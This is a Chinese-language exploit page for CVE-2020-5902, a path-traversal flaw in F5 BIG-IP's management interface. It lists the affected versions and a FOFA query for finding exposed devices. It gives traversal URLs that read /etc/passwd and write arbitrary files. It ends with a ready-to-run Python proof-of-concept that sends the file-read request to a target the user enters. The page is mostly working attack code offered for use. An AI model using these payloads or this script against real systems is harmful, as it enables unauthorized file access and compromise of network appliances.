CVE-2020-5902 F5 BIG-IP 遠程代碼執行漏洞

漏洞影響

F5 BIG-IP 15.x: 15.1.0.4

F5 BIG-IP 14.x: 14.1.2.6

F5 BIG-IP 13.x: 13.1.3.4

F5 BIG-IP 12.x: 12.1.5.2

F5 BIG-IP 11.x: 11.6.5.2

FOFA

title="BIG-IP&reg ;- Redirect"

漏洞利用

讀取文件

http://xxx.xxx.xxx.xxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

寫入文件

http://xxx.xxx.xxx.xxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp

POST: fileName=/tmp/test.txt&content=test

POC

import requests
import sys
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
    print('+  \033[34mVersion: F5 BIG-IP                                                \033[0m')
    print('+  \033[36m使用格式: python3 CVE-2020-5902.py                                  \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    version_url = target_url + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Accept-Language":"zh-CN,zh;q=0.9",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=version_url, timeout=10, verify=False, headers=headers)
        if "output" in response.text:
            print("\033[32m[o] 目标 {} 存在漏洞，响应为:\n{}\033[0m".format(target_url, json.loads(response.text)["output"]))
        else:
            print("\033[31m[x] 目标漏洞无法利用 \033[0m")

    except Exception as e:
        print("\033[31m[x] 目标漏洞无法利用 ,{}\033[0m".format(e))
        sys.exit(0)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)

參考

https://short.pwnwiki.org/?c=Kum2Ch